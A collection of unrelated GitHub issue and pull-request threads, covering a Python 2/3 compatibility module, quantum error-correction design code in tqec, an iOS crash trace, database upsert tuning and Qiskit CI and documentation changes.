text:
Simple module to inject new 'features' (behavior) into caller's (impo…

…rter's) stack
Thanks for a GREAT project.
I wanted a way to do the following:
- Make new python source files Py2-3 compatible from the start using python-future
- Consistently import (inject) python-future features into all source files in a package
- Avoid having to do multiple imports at the top of each source file - potentially
leading to mistakes or inconsistencies
Pasting modules dosctring below.
Dependencies:
Uses and requires installation of the excellent 'future' package.
Install with pip install future

This module has no other external dependencies. You can place it
anywhere on your PYTHONPATH

Does not work with Python2 < 2.6 - importing this module or calling
inject_compat() should have no effect in such cases

Four capabilities, three variables to set and one method:
Capability                              Variable / Method
----------                              --------
Customize features for source files     ALWAYS_AVOID variable
Customize features for REPL             ALWAYS_AVOID_REPL variable
Select features by just importing       AUTOLOAD_ALL variable
Select features on per-file basis       inject_compat method

AUTOLOAD_ALL versus calling inject_compat:
    If you want to choose different features for different source
    files, you NEED TO:
        Add following TWO lines to the top of each source file
            from py23compat import inject_compat
            inject_compat()
        You can avoid SOME features across ALL source files by
        adding those features to ALWAYS_AVOID, and add ADDITIONAL
        features to avoid on a per-file basis by adding avoid=[...]
        to the inject_compat() call in each source file

        In this model, you NEED to add TWO lines to each source file,
        though you may not need the avoid=[..] in the call to
        inject_compat in all source files.

    If all your source files are in the SAME STAGE of Python-2-3
    compatibility / migration, you can:
        Disable some features across ALL source files using
        ALWAYS_AVOID
        Set AUTOLOAD_ALL = True
        Load remaining features in each source file by JUST importing
        py23compat using a line like:
            import py23compat     # noqa: F401

        '# noqa: F401' asks PEP8 not to complain about an unused import

        In this model, you CANNOT customize features on a per-file
        basis.

The features avoided in the REPL are separate (ALWAYS_AVOID_REPL).
Features are ALWAYS injected into the REPL by JUST importing py23compat.

is_int and is_str methods:
Some modules (such as simplejson, but I am sure there are more), can
RETURN objects of type 'unicode' or 'long' in Python2. If you have
disabled 'unicode' and 'long' in Python2 (e.g. by having an empty
ALWAYS_AVOID list), then you have no way to check if the returned
valus is an instance of 'unicode' or 'long' respectively. In addition,
in such cases, the returned variable will NOT be an instance of
str | int respectively (although it's BEHAVIOR will be similar to those
respective types).

In such cases, you can use the is_str and is_int methods by importing
them from this module. On Python2 is_int will match int and long and
is_str will match str and unicode, while on Python3 is_int will match
only int and is_str will match only str.

You only need these methods if you would have otherwise used isinstance
for this purpose.

Python version variables:
PY2-->boolean: Whether running in python2 (any minor version)
PY3-->boolean: Whether running in python3 (any minor version)
PYPY-->boolean: Whether running in pypy (any minor version)
PY_MINOR-->int: Python minor version

Variables, imports and what is injected:
REPL    Variable            import          Effect
-----------------------------------------------------------------------
YES     ALWAYS_AVOID_REPL   plain import    Except ALWAYS_AVOID_REPL
                                            is_int and is_str automatic

YES     ALWAYS_AVOID_REPL   import +        Except ALWAYS_AVOID_REPL
        avoid param         inject_compat   avoid param has no effect
                                            is_int, is_str need import

Source  ALWAYS_AVOID        plain import    Except ALWAYS_AVOID
                                            is_int, is_str need import

Source  ALWAYS_AVOID        import +        Except ALWAYS_AVOID AND
        avoid param         inject_compat   except avoid param
                                            is_int, is_str need import
-----------------------------------------------------------------------

inject_compat ONLY injects compatibility names into:
    Caller's stack frame
    Top-most stack frame ONLY if running in REPL

Importing this module ONLY injects compatibility names into:
    Top-most stack frame ONLY if running in REPL
    Into caller's (importer's) stack frame if AUTOLOAD_ALL is set

When using the REPL, if ANY module IMPORTS py23compat, the
compatibility names will be injected into the TOP-MOST stack
frame (repeat: ONLY when using the REPL)

Note the difference between the CALLER (importer) stack frame and
the TOP-MOST stack frame.

Usage for NEW python packages starting from scratch:
A. Make a COPY of this module (file) for EACH package - it has
   variables at the top that you CAN (and SHOULD) change to reflect
   the stage the package is in  (in terms of Python2-3 compatibility)

B. For a NEW package started from scratch, I recommend:
    1. Keep ALWAYS_AVOID and ALWAYS_AVOID_REPL EMPTY
    2. Set AUTOLOAD_ALL = True
        Allows injecting compatibility code by JUST importing py23compat
        Still obeys ALWAYS_AVOID and ALWAYS_AVOID_REPL
        if you need them
    3. Write your package using (only) Python3 idioms and constructs.
      It should run unchanged in Python2 (need to pip install future)

Usage for making existing Python2 packages compatible with Python2-3:
A. Make a COPY of this module (file) for EACH package - it has
   variables at the top that you CAN (and SHOULD) change to reflect
   the stage the package is in  (in terms of Python2-3 compatibility)

B. Make a list of all the changed features and obsoleted features
   being used by your package.
        See future_imports for NEW behavior in Python3
        See builtins_imports for CHANGED behavior
        See obsolete_imports for OBSOLETED classes, methods

E. Use one of the following strategies. Note there are MANY possible
   strategies, and the python-future website has a much more robust
   and complete discussion of migration strategies.

    Feature-by-feature
        1. Start by adding ALL the features your package is using that has
           been changed or obsoleted in Python3 to ALWAYS_AVOID.

        2. If you regularly explore your package interactively using a REPL,
            add JUST the changed features (not the obsoleted features) to
            ALWAYS_AVOID_REPL also.

        3. Go through your package feature-by-feature and once a
            feature has been upgraded across your package, remove it
            from ALWAYS_AVOID and ALWAYS_AVOID_REPL.

        4. During this time, you can keep AUTOLOAD_ALL = True and
           JUST import py23compat at the top of each source file

        5. Once you have emptied ALWAYS_AVOID and ALWAYS_AVOID_REPL,
           your package should run unchanged in Python 2 and 3

    File-by-file
        1. Add two lines at the top of each source file:
               from py23compat import inject_compat
               inject_compat(avoid=xyz)
           where xyz is a set of features to disable for that file

        2. In each file, upgrade each disabled feature and then
           remove it from the avoid list

        3. Once the avoid list is empty, you can change the two lines
           at the top to be just:
               import py23compat

        4. Once all files have been upgraded and have an empty avoid list,
           your package should run unchanged in Python 2 and 3

Known bug: interaction with pydoc on Python2:
If using AUTOLOAD_ALL=True, AND 'unicode' is not in ALWAYS_AVOID,
pydoc2 (pydoc on python2) will fail for this module.
To use pydoc on py23compat with AUTOLOAD_ALL=True, do one of the
following:

Use pydoc3 in a python3 virtualenv
In a REPL, import py23compat and then do help(py23compat)
Call pydoc setting (shell) environment var PY23COMPAT_NO_AUTOLOAD)
Alias pydoc to 'PY23COMPAT_NO_AUTOLOAD=yes pydoc'

Note that PY23COMPAT_NO_AUTOLOAD disables effect of AUTOLOAD_ALL in
ALL conditions- not just for pydoc - there is no way to effect special
behavior when being imported by pydoc
More information on python-future and Python2-3 compatibility:
See the python-future site for more information on writing python
programs that can run in Python 2.x or 3.x, Python 2-->3 migration
and the python-future package.

Python-future Quick Start Guide: http://python-future.org/quickstart.html

Idioms for writing Python 2-3 compatible code:
    http://python-future.org/compatible_idioms.html

Importing explicitly:
http://python-future.org/imports.html#explicit-imports

Sorry, I couldn't find a proper place in the source tree where this could belong. Feel free to move it to a better place.
Also, you can find this on github:
https://github.com/sundarnagarajan/py23compat

repo: PythonCharmers/python-future


text:
Bridge locator network scan

Hello,
Continuing the work on #198
This PR brings a new Hue Bridge locator using a full local network scan.
It's slow obviously, but can be thorough.
I've optimized a few things by creating a base abstract BridgeLocator. Hope it's ok!

Alright so I have also a working MDNS bridge locator available.
Should I add it to this PR (and rename it), or should I wait for this PR to land and then submit a new one?
A lot of stuff depend on this PR, so I can't open a new PR with only the MDNS one yet.
How do you want to proceed?

I'll merge this one. Thanks a lot again!

source: gharchive/pull-request

license: mit

license_type: permissive

license_source: bigquery


text:
Update index.html with reference to issue #307

Issue Number
fixes #307
Describe the changes you've made
I've added new poster of the movie.
Describe if there is any unusual behaviour of your code(Write NA if there isn't)
A clear and concise description of it.
Additional context (OPTIONAL)
Add any other context or screenshots about the feature request here.
Test plan (OPTIONAL)
A good test plan should give instructions that someone else can easily follow.
How someone can test your code?
Checklist

[ ] I have added my name in the contributors list at the end of README.md file.
[ ] My code follows the code style of this project.
[ ] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.
[ ] I have added tests to cover my changes.
[ ] All new and existing tests passed.
[ ] The title of my pull request is a short description of the requested changes.
[ ] Open Source Program names(OPTIONAL: If you participated in any open-source program then please mention the program name here)

Resolve conflicts.
Fetch upstream.

The website has been updated a lot index.html is home.html now.
Make new PR after necessary changes.

authors: GaurPeeyush QAZIMAAZARSHAD

repo: QAZIMAAZARSHAD/Movie-Streaming-Website

license: MIT

license_source: github-api


text:
Header Design

Language Options and Font Size Functionality should be in header.
I would like to create new header design.
Assign me this issue under LGM-SOC'21

Language Options and Font Size Functionality should be in the header.
I would like to create a new header design.
Assign me this issue under LGM-SOC'21

No @jigar-sable I prefer the old design.
You can go for any other issues, open a new one, or suggest new features, etc.

Language Options and Font Size Functionality should be in the header.
I would like to create a new header design.
Assign me this issue under LGM-SOC'21

No @jigar-sable I prefer the old design.
You can go for any other issues, open a new one, or suggest new features, etc.

Alright..

source: gharchive/issue

authors: QAZIMAAZARSHAD jigar-sable


text:
Prepare the tqec code base to the concept of spatial and temporal boundaries

Is your feature request related to a problem? Please describe.
Going from "simple" 2-dimensional templates to the more complete picture of 3-dimensional topological structures will require to introduce a few concepts into the tqec code base.
One of the main concept that will need to be introduced is "interchangeable spatial and temporal boundaries". Spatial boundaries are the 1 by 2k and 2k by 1 rectangular templates at the borders of a logical qubit. Temporal boundaries are basically the initialisation/measurement layers at the beginning/end of a memory experiment.
To implement QEC computations, we need to be able to easily swap the plaquettes used in any of these spatial/temporal boundaries by other, user-provided, plaquettes.
This issue is here to track the fact that we need to think about how to implement that feature, and to track the advancement of the feature once someone will want to look into it.

Do you already have a solution in mind?
For me, these are two separate issues:
1 How to implement the temporal dimension
We should first target the base building blocks we currently express with SketchUp.
I'm in favor of a simple solution; a 3d grid structure is probably not necessary

Extend the plaquette/template library to cover all the necessary pieces
Add a linear scaling parameter for the main component

Add circuit generation accordingly
For observables, the notion of midline has to be extended to the temporal axis
We need to handle a start time

We need a concept similar to ComposedTemplate for the temporal direction, giving an order to temporal blocks and how they connect.
One possible solution could be introducing a concept of Computation representing a fixed order of operations.
2 How to switch between spatial and temporal views
I don't know a good way of thinking about this.
For me, the simplest solution would probably be to think of this as a relabeling of axes.
With that, by default, every template would be in spatial view; changing temporal boundaries would be executed by relabel_axes -> replace_spatial_boundarie -> relabel_axes. For this to work, the relabeling has to be very general.

I do not have a definite idea in mind, but I have some tracks.
For example, I like the idea of separating "cubes" into logical code units that would contain an initial layer, a repeated layer, and a final layer. This could very much be represented as
@dataclass
class ComputationLayer:
    template: Template
    plaquettes: list[Plaquette]

@dataclass
class ComputationBlock:
    start: ComputationLayer
    repeated: ComputationLayer
    repeat_count: int
    final: ComputationLayer

or if we restrict a "block" to be defined on the same template (which seems reasonable for my current view of what we want to do):
@dataclass
class ComputationBlock:
    template: Template
    start_plaquettes: list[Plaquette]
    repeated_plaquettes: list[Plaquette]
    repeat_count: int
    final_plaquettes: list[Plaquette]

These blocks could then be linked in whatever direction using a graph-like approach like in ComposedTemplate internal implementation.
Also, the more I think about it the more I feel like we need (at least for the moment) to drop the generality over time/space dimensions. Basically, say that there is only one direction that represent time and make it "hard-coded". This should not really limit expressibility, as users would still be able to relabel the axes before using the tqec library (basically rotating the 3-dimensional SketchUp computation before sending it to tqec), and would greatly reduce the complexity of our implementation.
So basically, I think we should only consider what you present in section 1, leaving section 2 to other tools or the user.

This looks very similar to what I had in mind.
I'm unaware of any cases where we need to change the template during one block.
Maybe this is necessary for certain operations @afowler?

The concept of a block will take us a long way, and most will indeed have
uniform layers in the extendable time layers, but state injection, for
example, as discussed on Wednesday is well outside of this with a lot of
unique layer by layer structure.
On Thu, Jul 4, 2024, 8:05 AM Philipp Seitz @.***> wrote:

This looks very similar to what I had in mind.
I'm unaware of any cases where we need to change the template during one
block.
Maybe this is necessary for certain operations @afowler
https://github.com/afowler?
—
Reply to this email directly, view it on GitHub
https://github.com/QCHackers/tqec/issues/260#issuecomment-2209196177,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAKAXTAH24YHWPX3E3WUPR3ZKVQEBAVCNFSM6AAAAABKBTPDT6VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDEMBZGE4TMMJXG4
.
You are receiving this because you were mentioned.Message ID:
@.***>

So I thought a little bit on this issue yesterday, and here is my current state of mind.
We want to be able to represent different kind of "blocks". The first 2 we have at the moment are "repeating blocks" containing an initial layer, a repeated layer, and a final layer, and "state injection" blocks. This calls for a common interface for a "block", that will then be implemented differently depending on the block.
For me, any kind of block should have:

a way to query the 3-dimensional (2 spatial dimensions and 1 temporal dimension) space they need. The first step will be to simply be able to represent 3-dimensional volumes with edges (sides of the structure) that are parallel to the axes, in which case the "space they need" can simply be represented as a 3-dimensional point. Then, we might need to lift that assumption, e.g., for the shifting memory that moves the logical qubit one qubit away from where it was at the previous round, and be able to represent 3-dimensional structures with edges that might not be parallel to the time dimension.
a way to return the quantum circuit they represent.

I have made a quick experiment with that in mind and that gave:
from __future__ import annotations

from abc import ABC, abstractmethod
from dataclasses import dataclass

import cirq
import cirq.circuits

from tqec.circuit.circuit import generate_circuit
from tqec.circuit.schedule import ScheduledCircuit, merge_scheduled_circuits
from tqec.exceptions import TQECException
from tqec.plaquette.plaquette import Plaquette
from tqec.templates.base import Template

@dataclass
class Position3D:
    x: int
    y: int
    z: int

@dataclass
class ComputationBlock(ABC):
    @property
    @abstractmethod
    def needed_time(self) -> int:
        pass

    @abstractmethod
    def instantiate(self) -> cirq.Circuit:
        pass

def _number_of_moments_needed(plaquettes: list[Plaquette]) -> int:
    return max(max(p.circuit.schedule) for p in plaquettes)

@dataclass
class StandardComputationBlock(ComputationBlock):
    template: Template
    initial_plaquettes: list[Plaquette]
    final_plaquettes: list[Plaquette]
    repeating_plaquettes: tuple[list[Plaquette], int] | None

    def __post_init__(self):
        expected_plaquette_number = self.template.expected_plaquettes_number
        if len(self.initial_plaquettes) != expected_plaquette_number:
            raise TQECException(
                f"Could not instantiate a ComputationBlock with {len(self.initial_plaquettes)} "
                f"initial plaquettes and a template that requires {expected_plaquette_number} "
                "plaquettes."
            )
        if len(self.final_plaquettes) != expected_plaquette_number:
            raise TQECException(
                f"Could not instantiate a ComputationBlock with {len(self.final_plaquettes)} "
                f"final plaquettes and a template that requires {expected_plaquette_number} "
                "plaquettes."
            )
        if (
            self.repeating_plaquettes is not None
            and len(self.repeating_plaquettes[0]) != expected_plaquette_number
        ):
            raise TQECException(
                f"Could not instantiate a ComputationBlock with {len(self.repeating_plaquettes)} "
                f"repeating plaquettes and a template that requires {expected_plaquette_number} "
                "plaquettes."
            )

    @property
    def is_connector(self) -> bool:
        return self.repeating_plaquettes is None

    @property
    def needed_time(self) -> int:
        time = _number_of_moments_needed(self.initial_plaquettes)
        if self.repeating_plaquettes is not None:
            plaquettes, repetitions = self.repeating_plaquettes
            time += repetitions * _number_of_moments_needed(plaquettes)
        time += _number_of_moments_needed(self.final_plaquettes)
        return time

    def instantiate(self) -> cirq.Circuit:
        circuit = generate_circuit(self.template, self.initial_plaquettes)
        if self.repeating_plaquettes is not None:
            plaquettes, repetitions = self.repeating_plaquettes
            inner_circuit = generate_circuit(self.template, plaquettes).freeze()
            circuit += cirq.CircuitOperation(inner_circuit, repetitions=repetitions)
        circuit += generate_circuit(self.template, self.final_plaquettes)
        return circuit

@dataclass
class Computation:
    blocks: list[ComputationBlock]
    positions: list[Position3D]

    def to_circuit(self) -> cirq.Circuit:
        time_positions = [position.z for position in self.positions]
        shifted_circuits = [
            block.instantiate().transform_qubits(lambda q: q + (position.x, position.y))
            for block, position in zip(self.blocks, self.positions)
        ]
        instantiated_scheduled_blocks = [
            ScheduledCircuit(circuit, starting_time)
            for circuit, starting_time in zip(shifted_circuits, time_positions)
        ]
        return merge_scheduled_circuits(instantiated_scheduled_blocks)

(with a small modification to ScheduledCircuit that includes the possibility to give an integer, in which case moments are scheduled from that integer value as list(range(start, start + number_of_moments_in_circuit)))
The above code is simply a first exploration, but will already require some changes in the Template hierarchy. Basically, we should have a way to query the spatial boundaries of a specific kind of Template and to change the plaquettes applied on these specific regions.
For that purpose, we discard from the list of templates to support anything that is not in the shape of a logical qubit, because generically defining what is "on the boundary" and what is not is hard (not impossible with ComposedTemplate, but nevertheless hard) and will require the composed templates to include a distance-1 (in the sense "one plaquette on the interesting dimension) template on each boundary.
For the basic building block of qubit, we currently have two classes:

The DenseQubitSquareTemplate1  5  6  5  6  2
7  9 10  9 10 11
8 10  9 10  9 12
7  9 10  9 10 11
8 10  9 10  9 12
3 13 14 13 14  4

that is the most generic representation of a scalable logical qubit,
The QubitSquareTemplate.  .  1  .  1  .
2  3  4  3  4  .
.  4  3  4  3  5
2  3  4  3  4  .
.  4  3  4  3  5
.  6  .  6  .  .

that enforces the standard parity placement on weight-2 stabilizers.

The DenseQubitSquareTemplate will be the most (only) used template, as QubitSquareTemplate does not allow any plaquette on corners, and this is required for all the operations we might be interested in (e.g., merging/splitting).
So I can see 2 ways forward:

Keep both classes, define an abstract SurroundedSquareTemplate that will provide ways to query/replace templates/plaquettes on a specific boundary of the template, and re-implement both DenseQubitSquareTemplate and QubitSquareTemplate using that base class.
Remove completely QubitSquareTemplate, implement a way to query/replace templates/plaquettes on a specific boundary of a DenseQubitSquareTemplate instance.

Any opinion on that?

I think 2 is better unless there are other ways to specify qubits we must take care of.  Potentially, we can also relax this to be rectangular instead.

authors: Gistbatch afowler nelimee

repo: QCHackers/tqec


text:
Remove dataset add_parameter

With the merge of #1477, the method add_parameter of the DataSet became obsolete. This PR removes the method from the DataSet API by breaking it. Removing that method will in turn make development of the interdependencies stuff easier, since the method extend_with_paramspec will no longer have to exist.
If you wish, you can view this PR as the first "clean up the fallout of #1477" PR. There are more to come, including schema upgrades etc.
~Still pending: upgrade all tests to use set_interdependencies instead of add_parameter.~
I am open to input on how to best break/remove/deprecate DataSet.add_parameter, but I stress the point that its existence is a bit of a roadblock and that I therefore find it justified to simply kill it without going through a deprecation cycle. Looking ahead, we will need to break a lot of stuff and I think we should allow ourselves to move quickly.
@QCoDeS/core this is now ready for review.

@QCoDeS/core, bump, bump. All the commits here are contained in #1555, but it might be good to get this in first. We can also do both in one go. What do you think?

Let's do these PRs one-by-one. I'll have a look at this tomorrow.

I am not super keen on removing code that is public api without a deprecation cycle but I don't have a good solution. Should we check that this is not called from any code that we know of before doing this?

Code that i know (and i checked) of does not use DataSet.add_parameter.

No occurrences in main qcodes (obviously) nor in the current master of qdev-wrappers.

authors: WilliamHPNielsen astafan8 jenshnielsen

repo: QCoDeS/Qcodes


text:
EXC_BAD_ACCESS

Thread 0 Crashed:
0   QuartzCore                           __ZN2CA5Layer13thread_flags_EPNS_11TransactionE
1   QuartzCore                           __ZN2CA5Layer13thread_flags_EPNS_11TransactionE
2   QuartzCore                           __ZN2CA5Layer4markEPNS_11TransactionEjj
3   QuartzCore                           __ZN2CA5Layer19property_did_changeEPNS_11TransactionEj
4   QuartzCore                           _ZN2CA5Layer10end_changeEPNS_11TransactionEjP11objc_objectS4
5   QuartzCore                           __ZN2CA5Layer7set_bitEjjjbMS0_FvPNS_11TransactionEE
6   DChat                                __58-[CALayer(LookinServer) lks_soloScreenshotWithLowQuality:]_block_invoke	CALayer+LookinServer.m:141
7   CoreFoundation                       _NSARRAY_IS_CALLING_OUT_TO_A_BLOCK
8   CoreFoundation                       -[__NSArrayI enumerateObjectsWithOptions:usingBlock:]
9   DChat                                -[CALayer(LookinServer) lks_soloScreenshotWithLowQuality:]	CALayer+LookinServer.m:145
10  DChat                                +[LKS_HierarchyDisplayItemsMaker _displayItemWithLayer:screenshots:attrList:lowImageQuality:]	LKS_HierarchyDisplayItemsMaker.m:0
11  DChat                                __93+[LKS_HierarchyDisplayItemsMaker _displayItemWithLayer:screenshots:attrList:lowImageQuality:]_block_invoke	LKS_HierarchyDisplayItemsMaker.m:0
12  CoreFoundation                       _NSARRAY_IS_CALLING_OUT_TO_A_BLOCK
13  CoreFoundation                       -[__NSArrayI enumerateObjectsWithOptions:usingBlock:]
14  DChat                                +[LKS_HierarchyDisplayItemsMaker _displayItemWithLayer:screenshots:attrList:lowImageQuality:]	LKS_HierarchyDisplayItemsMaker.m:93
15  DChat                                __93+[LKS_HierarchyDisplayItemsMaker _displayItemWithLayer:screenshots:attrList:lowImageQuality:]_block_invoke	LKS_HierarchyDisplayItemsMaker.m:0
16  CoreFoundation                       _NSARRAY_IS_CALLING_OUT_TO_A_BLOCK
17  CoreFoundation                       -[__NSSingleObjectArrayI enumerateObjectsWithOptions:usingBlock:]
18  DChat                                +[LKS_HierarchyDisplayItemsMaker _displayItemWithLayer:screenshots:attrList:lowImageQuality:]	LKS_HierarchyDisplayItemsMaker.m:93
19  DChat                                __93+[LKS_HierarchyDisplayItemsMaker _displayItemWithLayer:screenshots:attrList:lowImageQuality:]_block_invoke	LKS_HierarchyDisplayItemsMaker.m:0
20  CoreFoundation                       _NSARRAY_IS_CALLING_OUT_TO_A_BLOCK
21  CoreFoundation                       -[__NSArrayI enumerateObjectsWithOptions:usingBlock:]
22  DChat                                +[LKS_HierarchyDisplayItemsMaker _displayItemWithLayer:screenshots:attrList:lowImageQuality:]	LKS_HierarchyDisplayItemsMaker.m:93
23  DChat                                __93+[LKS_HierarchyDisplayItemsMaker _displayItemWithLayer:screenshots:attrList:lowImageQuality:]_block_invoke	LKS_HierarchyDisplayItemsMaker.m:0
24  CoreFoundation                       _NSARRAY_IS_CALLING_OUT_TO_A_BLOCK
25  CoreFoundation                       -[__NSSingleObjectArrayI enumerateObjectsWithOptions:usingBlock:]
26  DChat                                +[LKS_HierarchyDisplayItemsMaker _displayItemWithLayer:screenshots:attrList:lowImageQuality:]	LKS_HierarchyDisplayItemsMaker.m:93
27  DChat                                __93+[LKS_HierarchyDisplayItemsMaker _displayItemWithLayer:screenshots:attrList:lowImageQuality:]_block_invoke	LKS_HierarchyDisplayItemsMaker.m:0
28  CoreFoundation                       _NSARRAY_IS_CALLING_OUT_TO_A_BLOCK
29  CoreFoundation                       -[__NSSingleObjectArrayI enumerateObjectsWithOptions:usingBlock:]
30  DChat                                +[LKS_HierarchyDisplayItemsMaker _displayItemWithLayer:screenshots:attrList:lowImageQuality:]	LKS_HierarchyDisplayItemsMaker.m:93
31  DChat                                __93+[LKS_HierarchyDisplayItemsMaker _displayItemWithLayer:screenshots:attrList:lowImageQuality:]_block_invoke	LKS_HierarchyDisplayItemsMaker.m:0
32  CoreFoundation                       _NSARRAY_IS_CALLING_OUT_TO_A_BLOCK
33  CoreFoundation                       -[__NSSingleObjectArrayI enumerateObjectsWithOptions:usingBlock:]
34  DChat                                +[LKS_HierarchyDisplayItemsMaker _displayItemWithLayer:screenshots:attrList:lowImageQuality:]	LKS_HierarchyDisplayItemsMaker.m:93
35  DChat                                __112+[LKS_HierarchyDisplayItemsMaker itemsWithScreenshots:attrList:lowImageQuality:includedWindows:excludedWindows:]_block_invoke	LKS_HierarchyDisplayItemsMaker.m:0
36  CoreFoundation                       _NSARRAY_IS_CALLING_OUT_TO_A_BLOCK
37  CoreFoundation                       -[__NSArrayI enumerateObjectsWithOptions:usingBlock:]
38  DChat                                +[LKS_HierarchyDisplayItemsMaker itemsWithScreenshots:attrList:lowImageQuality:includedWindows:excludedWindows:]	LKS_HierarchyDisplayItemsMaker.m:41
39  DChat                                +[LookinHierarchyInfo perspectiveInfoWithIncludedWindows:excludedWindows:]	LookinHierarchyInfo.m:0
40  DChat                                __66-[LKS_PerspectiveManager showWithIncludedWindows:excludedWindows:]_block_invoke	LKS_PerspectiveManager.m:0
41  libdispatch.dylib                    __dispatch_client_callout
42  libdispatch.dylib                    __dispatch_continuation_pop$VARIANT$armv81
43  libdispatch.dylib                    __dispatch_source_invoke$VARIANT$armv81
44  libdispatch.dylib                    __dispatch_main_queue_drain
45  libdispatch.dylib                    __dispatch_main_queue_callback_4CF$VARIANT$armv81
46  CoreFoundation                       _CFRUNLOOP_IS_SERVICING_THE_MAIN_DISPATCH_QUEUE
47  CoreFoundation                       ___CFRunLoopRun
48  CoreFoundation                       _CFRunLoopRunSpecific
49  GraphicsServices                     _GSEventRunModal
50  UIKitCore                            -[UIApplication _run]
51  UIKitCore                            _UIApplicationMain
52  libswiftUIKit.dylib                  _$s5UIKit17UIApplicationMainys5Int32VAD_SpySpys4Int8VGGSgSSSgAJtF
53  DChat                                main	QRTextController.swift:0
54  (null)                               + 4451255248

@hughkli

repo: QMUI/LookinServer


text:
XCode14 新增了一些宏，导致ps 、 pa等快捷键不能第一时间打出对应的代码块

您好，邮件已收到。

Thank you. Your email is received and will be handled as soon as possible.

80%的快捷方式都失效了

关注

Thank you. Your email is received and will be handled as soon as possible.

加下前缀吧

Thank you. Your email is received and will be handled as soon as possible.

I fixed it with in qmui snippets add a prefix, such as 'q'
Onlyone @.***> 于2023年4月27日周四 12:14写道：

Thank you. Your email is received and will be handled as soon as possible.
—
Reply to this email directly, view it on GitHub
https://github.com/QMUI/QMUI_iOS_CodeSnippets/issues/11#issuecomment-1524671083,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AANQESJPQI3PBUOAQCMBMPTXDHXBJANCNFSM6AAAAAARSUQQ2M
.
You are receiving this because you commented.Message ID:
@.***>

authors: DevWhan Serlight douxindong gitph101


text:
Master

added a dev mode to the test server.
See https://www.youtube.com/watch?v=lvTjKWVOwXA how it works.

So chopping off digits works here. Nice.

@AXGKl  : I invite you to take up ownership (as described in #193 / T-RFC1) of the continuous integration facilities, a.o. the contents of ../development/continuous_integration. What this means that all modifications on that module happen in consultancy and with approval of you. What it doesn't mean is that you have to code all or any of it yourself.

authors: AXGKl JdeH

repo: QQuick/Transcrypt


text:
Faster upsert

PR for #30.

DELETE FROM table instead of dropping & recreating
bulk inserts with 20-rows chunks (see pgBulkInsert code which replaced pgInsert)
wrap upserts in transactions
also: measureTime higher order function for common "Took X seconds, or Y minutes." logging pattern
also: more typings

DELETE FROM by itself haven't brought any performance improvements, in fact, it made the code significantly slower (but it's still the right thing to do, transaction safety-wise, otherwise frontpage update could coincide with merge job and then the frontpage would be empty).
Bulk inserts are fast. In my local tests time for polymarket upserts went down from 35 seconds to 5.
PS: This PR is stacked on top of #34.

Rebased on top of #34.
One more benchmark: on my local db (incomplete, includes only some platforms):
Inserted 1988 rows with approximate cummulative size 3 MB into latest.combined.
...
Took 18.949 seconds, or 0.3158166666666667 minutes.

On prod:
Inserted 5001 rows with approximate cummulative size 13.9 MB into latest.combined.
...
Took 330.071 seconds, or 5.5011833333333335 minutes.

Yeah, I previouusly prefered to have my DO instance in Europe (data protection laws are better). But I changed it to the US in the new team database.

authors: NunoSempere berekuk

repo: QURIresearch/metaforecast


text:
High and low question

Hi first of all thank for sharing this amazing work! I have question regarding the high and low you mentioned here. What does that mean ? maybe you could add more information on the schematic as well ? Thank you in advance

there are default pin state of original RPI GPIO driver.

authors: Amornthep-Phunsin ahmadfarisfs


text:
RuntimeError: cuDNN error: CUDNN_STATUS_MAPPING_ERROR

问题可能出现在3d卷积“x = F.conv_transpose3d(x, self.weight, self.bias,”，svae_models/snn_layers.py，line 255.
请问您遇到过这样的问题嘛？

抱歉，我没有遇到过这个问题。这可能和您的CUDA版本有关系。

repo: QgZhan/ESVAE


text:
Can't get DAP to connect to channel

Trying to setup DAP for the first time. I run DAP and select the server and channel, the bot comes online, but does not connect.
Running Windows with the .exe (dap-2.2-win64.exe)
Error log:

2021-12-13 16:35:53 Error on change_channel
Traceback (most recent call last):
File "gui.py", line 178, in change_channel
File "discord\abc.py", line 1154, in connect
File "discord\voice_client.py", line 345, in connect
File "discord\utils.py", line 350, in sane_wait_for
concurrent.futures._base.TimeoutError

Maybe a permissions issue, if your channel has custom roles you'll need to check if the bot has the role to the join the channel you want.

OK, thanks. That seems to have fixed it. Is it possible that information can be included in an error message?

Yeah, thanks for posting the log, I'll add additional context for TimeoutError in a next release.

authors: QiCuiHub TehStoneMan

repo: QiCuiHub/discord-audio-pipe


text:
Add ARM builds to github actions

Summary
Add ARM builds to github actions
Fixes #523
Details and comments
Adds a set of steps to build the ARM ray images to our github actions.
Pushing to the ICR registry as that should be done for all images in #553
To distinguish the ARM images, an -arm64 is added to the end of the tag.

@psschwei Thanks for doing this.  Does ICR support multi-archtecture if so we can pull images with the same tag for all architecture.
I think that the images other than ray node also need to be built.
Thanks!

authors: akihikokuroda psschwei

repo: Qiskit-Extensions/quantum-serverless


text:
Downgrade ray version to 2.5.0

Summary
From #733 , we need to downgrade ray version to 2.5.0 to continue with other developments. Let's see how this problem advances.

The error comes from ray. They are using pydantic and in a recent version they introduced breaking changes. Ref: https://github.com/ray-project/ray/pull/37000

@Tansito All images are built fine.  Thanks!

authors: Tansito akihikokuroda


text:
CI improvements

Summary
Related with the discussion #764 this pull request is intended to apply the next changes:

Associate latest to the last published version
Publish images only after publishing the release, removing main
Created a release pull request to run special actions like the vscan before bumping a version

My idea with this last change is to have a release tag for version bumps when we want to publish a new version to run actions that mast be run before publishing anything and can be relatively cost to run them in every pull request.

This pull request pretends to improve a little bit our CI experience. I would like to know your opinions 🙏


text:
Provider and Runtime show modules as top-level in sidebar

Closes https://github.com/Qiskit/documentation/issues/558.
Before:

After:

This new left sidebar layout aligns with Qiskit. The consistency is useful, but also I think this new layout is more functional anyways. It reduces the amount of nesting. It also allows us to collapse the left sidebar by default, which we do in the rest of the docs.
Changes index page
Before, the index page was the description for the code components belonging to the top-level modules qiskit_ibm_provider and qiskit_ibm_runtime, rather than enumerating what all the modules are:
Before:

After:

Note that this index page is not accessible from the left sidebar; it's not clear what we would call it. But you can access it from the top nav-bar:

Metadata
The new index pages have never had metadata. That's because we don't have any technique to determine from Sphinx programatically its metadata because the Sphinx generated HTML page is missing it:
https://github.com/Qiskit/documentation/blob/92b3fa45c10aa917c3fbc7ada861b2db55203902/scripts/lib/sphinx/PythonObjectMeta.ts#L13-L24
This is an instance of https://github.com/Qiskit/documentation/issues/66. I think we need a generic solution to that problem, such as Axel's suggestion to use filenames as a fallback. But, it's important that the metadata is high quality for these two index pages since they are so high-profile.
